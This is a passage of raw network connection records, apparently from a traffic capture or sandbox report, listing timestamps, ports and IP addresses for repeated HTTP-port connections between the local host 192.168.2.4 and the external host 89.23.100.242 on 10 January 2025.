Jan 10, 2025 07:57:51.741353035 CET	80	49760	89.23.100.242	192.168.2.4
Jan 10, 2025 07:57:51.741379976 CET	80	49760	89.23.100.242	192.168.2.4
Jan 10, 2025 07:57:51.993340015 CET	80	49759	89.23.100.242	192.168.2.4
Jan 10, 2025 07:57:52.110790968 CET	49759	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:57:52.125248909 CET	80	49760	89.23.100.242	192.168.2.4
Jan 10, 2025 07:57:52.278945923 CET	80	49760	89.23.100.242	192.168.2.4
Jan 10, 2025 07:57:52.279381990 CET	49760	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:57:52.403476954 CET	49759	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:57:52.403682947 CET	49760	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:57:52.404045105 CET	49761	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:57:52.408821106 CET	80	49759	89.23.100.242	192.168.2.4
Jan 10, 2025 07:57:52.408986092 CET	80	49761	89.23.100.242	192.168.2.4
Jan 10, 2025 07:57:52.409013033 CET	49759	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:57:52.409058094 CET	80	49760	89.23.100.242	192.168.2.4
Jan 10, 2025 07:57:52.409138918 CET	49761	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:57:52.409205914 CET	49760	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:57:52.411108971 CET	49761	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:57:52.415971994 CET	80	49761	89.23.100.242	192.168.2.4
Jan 10, 2025 07:57:52.767134905 CET	49761	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:57:52.772556067 CET	80	49761	89.23.100.242	192.168.2.4
Jan 10, 2025 07:57:52.772593975 CET	80	49761	89.23.100.242	192.168.2.4
Jan 10, 2025 07:57:52.772623062 CET	80	49761	89.23.100.242	192.168.2.4
Jan 10, 2025 07:57:53.150372982 CET	80	49761	89.23.100.242	192.168.2.4
Jan 10, 2025 07:57:53.267174006 CET	49761	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:57:53.277571917 CET	80	49761	89.23.100.242	192.168.2.4
Jan 10, 2025 07:57:53.465373993 CET	49761	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:57:53.466018915 CET	49762	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:57:53.470618963 CET	80	49761	89.23.100.242	192.168.2.4
Jan 10, 2025 07:57:53.470711946 CET	49761	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:57:53.470817089 CET	80	49762	89.23.100.242	192.168.2.4
Jan 10, 2025 07:57:53.472110033 CET	49762	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:57:53.472232103 CET	49762	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:57:53.477045059 CET	80	49762	89.23.100.242	192.168.2.4
Jan 10, 2025 07:57:53.829628944 CET	49762	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:57:53.834960938 CET	80	49762	89.23.100.242	192.168.2.4
Jan 10, 2025 07:57:53.835040092 CET	80	49762	89.23.100.242	192.168.2.4
Jan 10, 2025 07:57:53.835068941 CET	80	49762	89.23.100.242	192.168.2.4
Jan 10, 2025 07:57:54.220063925 CET	80	49762	89.23.100.242	192.168.2.4
Jan 10, 2025 07:57:54.271169901 CET	49762	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:57:54.350802898 CET	80	49762	89.23.100.242	192.168.2.4
Jan 10, 2025 07:57:54.470185041 CET	49762	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:57:54.517179012 CET	49762	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:57:54.517318964 CET	49763	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:57:54.522327900 CET	80	49763	89.23.100.242	192.168.2.4
Jan 10, 2025 07:57:54.522454977 CET	49763	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:57:54.522481918 CET	80	49762	89.23.100.242	192.168.2.4
Jan 10, 2025 07:57:54.522531033 CET	49763	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:57:54.522593975 CET	49762	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:57:54.527442932 CET	80	49763	89.23.100.242	192.168.2.4
Jan 10, 2025 07:57:54.541660070 CET	49764	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:57:54.546583891 CET	80	49764	89.23.100.242	192.168.2.4
Jan 10, 2025 07:57:54.547162056 CET	49764	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:57:54.547162056 CET	49764	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:57:54.552056074 CET	80	49764	89.23.100.242	192.168.2.4
Jan 10, 2025 07:57:54.876604080 CET	49763	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:57:54.881822109 CET	80	49763	89.23.100.242	192.168.2.4
Jan 10, 2025 07:57:54.881859064 CET	80	49763	89.23.100.242	192.168.2.4
Jan 10, 2025 07:57:54.881894112 CET	80	49763	89.23.100.242	192.168.2.4
Jan 10, 2025 07:57:54.881923914 CET	80	49763	89.23.100.242	192.168.2.4
Jan 10, 2025 07:57:54.881937981 CET	49763	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:57:54.881951094 CET	80	49763	89.23.100.242	192.168.2.4
Jan 10, 2025 07:57:54.881985903 CET	80	49763	89.23.100.242	192.168.2.4
Jan 10, 2025 07:57:54.881988049 CET	49763	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:57:54.882014990 CET	80	49763	89.23.100.242	192.168.2.4
Jan 10, 2025 07:57:54.882024050 CET	49763	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:57:54.882047892 CET	80	49763	89.23.100.242	192.168.2.4
Jan 10, 2025 07:57:54.882052898 CET	49763	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:57:54.882074118 CET	80	49763	89.23.100.242	192.168.2.4
Jan 10, 2025 07:57:54.882085085 CET	49763	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:57:54.882107019 CET	80	49763	89.23.100.242	192.168.2.4
Jan 10, 2025 07:57:54.882107973 CET	49763	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:57:54.882143974 CET	49763	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:57:54.882251024 CET	49763	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:57:54.887059927 CET	80	49763	89.23.100.242	192.168.2.4
Jan 10, 2025 07:57:54.887088060 CET	80	49763	89.23.100.242	192.168.2.4
Jan 10, 2025 07:57:54.887116909 CET	80	49763	89.23.100.242	192.168.2.4
Jan 10, 2025 07:57:54.887125015 CET	49763	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:57:54.887154102 CET	49763	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:57:54.887166023 CET	80	49763	89.23.100.242	192.168.2.4
Jan 10, 2025 07:57:54.887175083 CET	49763	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:57:54.887193918 CET	80	49763	89.23.100.242	192.168.2.4
Jan 10, 2025 07:57:54.887221098 CET	80	49763	89.23.100.242	192.168.2.4
Jan 10, 2025 07:57:54.887243986 CET	49763	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:57:54.887274027 CET	49763	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:57:54.887300014 CET	49763	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:57:54.892357111 CET	49764	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:57:54.897243023 CET	80	49764	89.23.100.242	192.168.2.4
Jan 10, 2025 07:57:54.897386074 CET	80	49764	89.23.100.242	192.168.2.4
Jan 10, 2025 07:57:54.897413969 CET	80	49764	89.23.100.242	192.168.2.4
Jan 10, 2025 07:57:54.934107065 CET	80	49763	89.23.100.242	192.168.2.4
Jan 10, 2025 07:57:54.934695005 CET	49763	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:57:54.982032061 CET	80	49763	89.23.100.242	192.168.2.4
Jan 10, 2025 07:57:54.982091904 CET	49763	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:57:55.033983946 CET	80	49763	89.23.100.242	192.168.2.4
Jan 10, 2025 07:57:55.034033060 CET	49763	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:57:55.037204981 CET	80	49763	89.23.100.242	192.168.2.4
Jan 10, 2025 07:57:55.037348032 CET	49763	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:57:55.038955927 CET	80	49763	89.23.100.242	192.168.2.4
Jan 10, 2025 07:57:55.038999081 CET	49763	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:57:55.042284966 CET	80	49763	89.23.100.242	192.168.2.4
Jan 10, 2025 07:57:55.042334080 CET	49763	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:57:55.042341948 CET	80	49763	89.23.100.242	192.168.2.4
Jan 10, 2025 07:57:55.042392015 CET	49763	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:57:55.042447090 CET	80	49763	89.23.100.242	192.168.2.4
Jan 10, 2025 07:57:55.042474985 CET	80	49763	89.23.100.242	192.168.2.4
Jan 10, 2025 07:57:55.042490005 CET	49763	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:57:55.042503119 CET	80	49763	89.23.100.242	192.168.2.4
Jan 10, 2025 07:57:55.042511940 CET	49763	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:57:55.042529106 CET	80	49763	89.23.100.242	192.168.2.4
Jan 10, 2025 07:57:55.042557955 CET	49763	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:57:55.042573929 CET	49763	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:57:55.042582035 CET	80	49763	89.23.100.242	192.168.2.4
Jan 10, 2025 07:57:55.042608023 CET	80	49763	89.23.100.242	192.168.2.4
Jan 10, 2025 07:57:55.042625904 CET	49763	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:57:55.042634964 CET	80	49763	89.23.100.242	192.168.2.4
Jan 10, 2025 07:57:55.042653084 CET	49763	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:57:55.042663097 CET	80	49763	89.23.100.242	192.168.2.4
Jan 10, 2025 07:57:55.042674065 CET	49763	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:57:55.042689085 CET	80	49763	89.23.100.242	192.168.2.4
Jan 10, 2025 07:57:55.042706013 CET	49763	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:57:55.042773008 CET	49763	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:57:55.042778969 CET	80	49763	89.23.100.242	192.168.2.4
Jan 10, 2025 07:57:55.042805910 CET	80	49763	89.23.100.242	192.168.2.4
Jan 10, 2025 07:57:55.042828083 CET	49763	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:57:55.042830944 CET	80	49763	89.23.100.242	192.168.2.4
Jan 10, 2025 07:57:55.042855024 CET	49763	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:57:55.042857885 CET	80	49763	89.23.100.242	192.168.2.4
Jan 10, 2025 07:57:55.042877913 CET	49763	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:57:55.042885065 CET	80	49763	89.23.100.242	192.168.2.4
Jan 10, 2025 07:57:55.042896986 CET	49763	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:57:55.042936087 CET	49763	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:57:55.042936087 CET	80	49763	89.23.100.242	192.168.2.4
Jan 10, 2025 07:57:55.042964935 CET	80	49763	89.23.100.242	192.168.2.4
Jan 10, 2025 07:57:55.042990923 CET	49763	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:57:55.042990923 CET	80	49763	89.23.100.242	192.168.2.4
Jan 10, 2025 07:57:55.043018103 CET	80	49763	89.23.100.242	192.168.2.4
Jan 10, 2025 07:57:55.043062925 CET	80	49763	89.23.100.242	192.168.2.4
Jan 10, 2025 07:57:55.043087959 CET	80	49763	89.23.100.242	192.168.2.4
Jan 10, 2025 07:57:55.043114901 CET	80	49763	89.23.100.242	192.168.2.4
Jan 10, 2025 07:57:55.043191910 CET	80	49763	89.23.100.242	192.168.2.4
Jan 10, 2025 07:57:55.043375969 CET	80	49763	89.23.100.242	192.168.2.4
Jan 10, 2025 07:57:55.047173977 CET	80	49763	89.23.100.242	192.168.2.4
Jan 10, 2025 07:57:55.047935963 CET	80	49763	89.23.100.242	192.168.2.4
Jan 10, 2025 07:57:55.048028946 CET	80	49763	89.23.100.242	192.168.2.4
Jan 10, 2025 07:57:55.048094988 CET	80	49763	89.23.100.242	192.168.2.4
Jan 10, 2025 07:57:55.048125982 CET	80	49763	89.23.100.242	192.168.2.4
Jan 10, 2025 07:57:55.048249006 CET	80	49763	89.23.100.242	192.168.2.4
Jan 10, 2025 07:57:55.048326969 CET	80	49763	89.23.100.242	192.168.2.4
Jan 10, 2025 07:57:55.048418045 CET	80	49763	89.23.100.242	192.168.2.4
Jan 10, 2025 07:57:55.048475027 CET	80	49763	89.23.100.242	192.168.2.4
Jan 10, 2025 07:57:55.048551083 CET	80	49763	89.23.100.242	192.168.2.4
Jan 10, 2025 07:57:55.048604012 CET	80	49763	89.23.100.242	192.168.2.4
Jan 10, 2025 07:57:55.048675060 CET	80	49763	89.23.100.242	192.168.2.4
Jan 10, 2025 07:57:55.048705101 CET	80	49763	89.23.100.242	192.168.2.4
Jan 10, 2025 07:57:55.048751116 CET	80	49763	89.23.100.242	192.168.2.4
Jan 10, 2025 07:57:55.048777103 CET	80	49763	89.23.100.242	192.168.2.4
Jan 10, 2025 07:57:55.048824072 CET	80	49763	89.23.100.242	192.168.2.4
Jan 10, 2025 07:57:55.048850060 CET	80	49763	89.23.100.242	192.168.2.4
Jan 10, 2025 07:57:55.048893929 CET	80	49763	89.23.100.242	192.168.2.4
Jan 10, 2025 07:57:55.048919916 CET	80	49763	89.23.100.242	192.168.2.4
Jan 10, 2025 07:57:55.048944950 CET	80	49763	89.23.100.242	192.168.2.4
Jan 10, 2025 07:57:55.048991919 CET	80	49763	89.23.100.242	192.168.2.4
Jan 10, 2025 07:57:55.049017906 CET	80	49763	89.23.100.242	192.168.2.4
Jan 10, 2025 07:57:55.049042940 CET	80	49763	89.23.100.242	192.168.2.4
Jan 10, 2025 07:57:55.049067974 CET	80	49763	89.23.100.242	192.168.2.4
Jan 10, 2025 07:57:55.049093962 CET	80	49763	89.23.100.242	192.168.2.4
Jan 10, 2025 07:57:55.049139023 CET	80	49763	89.23.100.242	192.168.2.4
Jan 10, 2025 07:57:55.049165010 CET	80	49763	89.23.100.242	192.168.2.4
Jan 10, 2025 07:57:55.049190044 CET	80	49763	89.23.100.242	192.168.2.4
Jan 10, 2025 07:57:55.049216032 CET	80	49763	89.23.100.242	192.168.2.4
Jan 10, 2025 07:57:55.049241066 CET	80	49763	89.23.100.242	192.168.2.4
Jan 10, 2025 07:57:55.049267054 CET	80	49763	89.23.100.242	192.168.2.4
Jan 10, 2025 07:57:55.275729895 CET	80	49763	89.23.100.242	192.168.2.4
Jan 10, 2025 07:57:55.295809984 CET	80	49764	89.23.100.242	192.168.2.4
Jan 10, 2025 07:57:55.407684088 CET	49763	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:57:55.449727058 CET	80	49764	89.23.100.242	192.168.2.4
Jan 10, 2025 07:57:55.449810028 CET	49764	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:57:55.450304031 CET	49763	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:57:55.455435991 CET	80	49763	89.23.100.242	192.168.2.4
Jan 10, 2025 07:57:55.455498934 CET	49763	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:57:55.577157974 CET	49764	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:57:55.577485085 CET	49765	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:57:55.582464933 CET	80	49765	89.23.100.242	192.168.2.4
Jan 10, 2025 07:57:55.582505941 CET	80	49764	89.23.100.242	192.168.2.4
Jan 10, 2025 07:57:55.582525969 CET	49765	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:57:55.582549095 CET	49764	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:57:55.582652092 CET	49765	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:57:55.587444067 CET	80	49765	89.23.100.242	192.168.2.4
Jan 10, 2025 07:57:55.939254045 CET	49765	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:57:55.944434881 CET	80	49765	89.23.100.242	192.168.2.4
Jan 10, 2025 07:57:55.944472075 CET	80	49765	89.23.100.242	192.168.2.4
Jan 10, 2025 07:57:55.944504976 CET	80	49765	89.23.100.242	192.168.2.4
Jan 10, 2025 07:57:56.344883919 CET	80	49765	89.23.100.242	192.168.2.4
Jan 10, 2025 07:57:56.478418112 CET	80	49765	89.23.100.242	192.168.2.4
Jan 10, 2025 07:57:56.478482008 CET	49765	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:57:56.591308117 CET	49765	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:57:56.591507912 CET	49767	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:57:56.597021103 CET	80	49767	89.23.100.242	192.168.2.4
Jan 10, 2025 07:57:56.597037077 CET	80	49765	89.23.100.242	192.168.2.4
Jan 10, 2025 07:57:56.597090960 CET	49767	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:57:56.597162008 CET	49765	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:57:56.597197056 CET	49767	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:57:56.602164030 CET	80	49767	89.23.100.242	192.168.2.4
Jan 10, 2025 07:57:56.954626083 CET	49767	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:57:56.960830927 CET	80	49767	89.23.100.242	192.168.2.4
Jan 10, 2025 07:57:56.960851908 CET	80	49767	89.23.100.242	192.168.2.4
Jan 10, 2025 07:57:56.960864067 CET	80	49767	89.23.100.242	192.168.2.4
Jan 10, 2025 07:57:57.002363920 CET	49768	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:57:57.002748966 CET	49767	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:57:57.007304907 CET	80	49768	89.23.100.242	192.168.2.4
Jan 10, 2025 07:57:57.007386923 CET	49768	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:57:57.007466078 CET	49768	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:57:57.012345076 CET	80	49768	89.23.100.242	192.168.2.4
Jan 10, 2025 07:57:57.050102949 CET	80	49767	89.23.100.242	192.168.2.4
Jan 10, 2025 07:57:57.121304035 CET	80	49767	89.23.100.242	192.168.2.4
Jan 10, 2025 07:57:57.121356010 CET	49767	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:57:57.128453016 CET	49769	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:57:57.133375883 CET	80	49769	89.23.100.242	192.168.2.4
Jan 10, 2025 07:57:57.133443117 CET	49769	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:57:57.133534908 CET	49769	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:57:57.138328075 CET	80	49769	89.23.100.242	192.168.2.4
Jan 10, 2025 07:57:57.360899925 CET	49768	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:57:57.366110086 CET	80	49768	89.23.100.242	192.168.2.4
Jan 10, 2025 07:57:57.366156101 CET	80	49768	89.23.100.242	192.168.2.4
Jan 10, 2025 07:57:57.485857010 CET	49769	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:57:57.658756018 CET	80	49769	89.23.100.242	192.168.2.4
Jan 10, 2025 07:57:57.658806086 CET	80	49769	89.23.100.242	192.168.2.4
Jan 10, 2025 07:57:57.658837080 CET	80	49769	89.23.100.242	192.168.2.4
Jan 10, 2025 07:57:57.750890970 CET	80	49768	89.23.100.242	192.168.2.4
Jan 10, 2025 07:57:57.886811972 CET	80	49768	89.23.100.242	192.168.2.4
Jan 10, 2025 07:57:57.886897087 CET	49768	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:57:57.897707939 CET	80	49769	89.23.100.242	192.168.2.4
Jan 10, 2025 07:57:57.970182896 CET	49769	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:57:58.037674904 CET	80	49769	89.23.100.242	192.168.2.4
Jan 10, 2025 07:57:58.154133081 CET	49768	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:57:58.154301882 CET	49769	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:57:58.154648066 CET	49770	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:57:58.159471035 CET	80	49768	89.23.100.242	192.168.2.4
Jan 10, 2025 07:57:58.159524918 CET	80	49770	89.23.100.242	192.168.2.4
Jan 10, 2025 07:57:58.159589052 CET	49768	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:57:58.159622908 CET	49770	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:57:58.159653902 CET	80	49769	89.23.100.242	192.168.2.4
Jan 10, 2025 07:57:58.159732103 CET	49770	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:57:58.159742117 CET	49769	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:57:58.164601088 CET	80	49770	89.23.100.242	192.168.2.4
Jan 10, 2025 07:57:58.517132998 CET	49770	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:57:58.522433996 CET	80	49770	89.23.100.242	192.168.2.4
Jan 10, 2025 07:57:58.522471905 CET	80	49770	89.23.100.242	192.168.2.4
Jan 10, 2025 07:57:58.522499084 CET	80	49770	89.23.100.242	192.168.2.4
Jan 10, 2025 07:57:58.919815063 CET	80	49770	89.23.100.242	192.168.2.4
Jan 10, 2025 07:57:58.970181942 CET	49770	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:57:59.070936918 CET	80	49770	89.23.100.242	192.168.2.4
Jan 10, 2025 07:57:59.173302889 CET	49770	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:57:59.183836937 CET	49770	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:57:59.184160948 CET	49772	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:57:59.188822985 CET	80	49770	89.23.100.242	192.168.2.4
Jan 10, 2025 07:57:59.188874960 CET	49770	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:57:59.189074039 CET	80	49772	89.23.100.242	192.168.2.4
Jan 10, 2025 07:57:59.189146996 CET	49772	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:57:59.189234972 CET	49772	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:57:59.193986893 CET	80	49772	89.23.100.242	192.168.2.4
Jan 10, 2025 07:57:59.548393965 CET	49772	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:57:59.553428888 CET	80	49772	89.23.100.242	192.168.2.4
Jan 10, 2025 07:57:59.553469896 CET	80	49772	89.23.100.242	192.168.2.4
Jan 10, 2025 07:57:59.553499937 CET	80	49772	89.23.100.242	192.168.2.4
Jan 10, 2025 07:57:59.954938889 CET	80	49772	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:00.098126888 CET	49772	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:00.098284006 CET	49778	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:00.104898930 CET	80	49778	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:00.104962111 CET	49778	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:00.105047941 CET	49778	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:00.105056047 CET	80	49772	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:00.105545998 CET	49772	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:00.111696005 CET	80	49778	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:00.454629898 CET	49778	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:00.459619999 CET	80	49778	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:00.459651947 CET	80	49778	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:00.459678888 CET	80	49778	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:00.838918924 CET	80	49778	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:00.953502893 CET	49778	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:00.968684912 CET	80	49778	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:01.092089891 CET	49778	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:01.092413902 CET	49789	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:01.097362041 CET	80	49778	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:01.097397089 CET	80	49789	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:01.097425938 CET	49778	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:01.097487926 CET	49789	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:01.097579002 CET	49789	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:01.102359056 CET	80	49789	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:01.454739094 CET	49789	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:01.459753036 CET	80	49789	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:01.459836006 CET	80	49789	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:01.459863901 CET	80	49789	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:01.932148933 CET	80	49789	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:02.050705910 CET	49789	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:02.051042080 CET	49795	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:02.056035042 CET	80	49795	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:02.056076050 CET	80	49789	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:02.056109905 CET	49795	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:02.056140900 CET	49789	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:02.056330919 CET	49795	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:02.061306953 CET	80	49795	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:02.407752037 CET	49795	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:02.412677050 CET	80	49795	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:02.412817001 CET	80	49795	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:02.412844896 CET	80	49795	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:02.803215027 CET	80	49795	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:02.920264006 CET	49796	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:02.922558069 CET	49795	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:02.925447941 CET	80	49796	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:02.925519943 CET	49796	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:02.925606012 CET	49796	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:02.927664042 CET	80	49795	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:02.927818060 CET	49795	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:02.930504084 CET	80	49796	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:03.234491110 CET	49801	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:03.239579916 CET	80	49801	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:03.242065907 CET	49801	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:03.244288921 CET	49801	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:03.249133110 CET	80	49801	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:03.282778978 CET	49796	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:03.287697077 CET	80	49796	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:03.287976027 CET	80	49796	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:03.595292091 CET	49801	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:03.600311995 CET	80	49801	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:03.600344896 CET	80	49801	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:03.600372076 CET	80	49801	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:03.786283016 CET	80	49796	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:03.901524067 CET	49796	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:04.003618956 CET	80	49801	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:04.110837936 CET	49801	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:04.195121050 CET	80	49801	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:04.309701920 CET	49801	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:04.317564011 CET	49796	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:04.317773104 CET	49801	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:04.318124056 CET	49808	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:04.322618008 CET	80	49796	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:04.322691917 CET	49796	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:04.322927952 CET	80	49808	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:04.323000908 CET	49808	80	192.168.2.4	89.23.100.242
